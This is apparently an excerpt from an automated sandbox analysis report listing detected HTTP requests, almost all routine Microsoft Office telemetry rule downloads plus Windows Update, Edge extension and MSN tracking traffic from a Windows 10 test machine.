Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=x4TsGtHZrxyoGxz&MD=mueN9v5e HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732647940&P2=404&P3=2&P4=VLxSC17Pfq8LefVEg1rnKf2U9KsrUQriJneU9%2fJrtu8Mi2zEiLfTg0%2fOZRo%2bKl1m0qRjTgmgh0g5rjQYGOKsqw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: aj1/ZprnLTs98bWy8VGIJlSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732043144670&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=325FB603007165991815A33F01D964B1&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732043144669&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=112e3176902449b99b0cd7489c0e031a&activityId=112e3176902449b99b0cd7489c0e031a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=325FB603007165991815A33F01D964B1; _EDGE_S=F=1&SID=1004A917124766991B15BC2B133B678E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=325FB603007165991815A33F01D964B1&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=fbfea45ccce647c59ebe7950ffd170bc HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=325FB603007165991815A33F01D964B1; _EDGE_S=F=1&SID=1004A917124766991B15BC2B133B678E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732043144670&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=325FB603007165991815A33F01D964B1&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1382add6fd600d3ec0ab8351732043147; XID=1382add6fd600d3ec0ab8351732043147
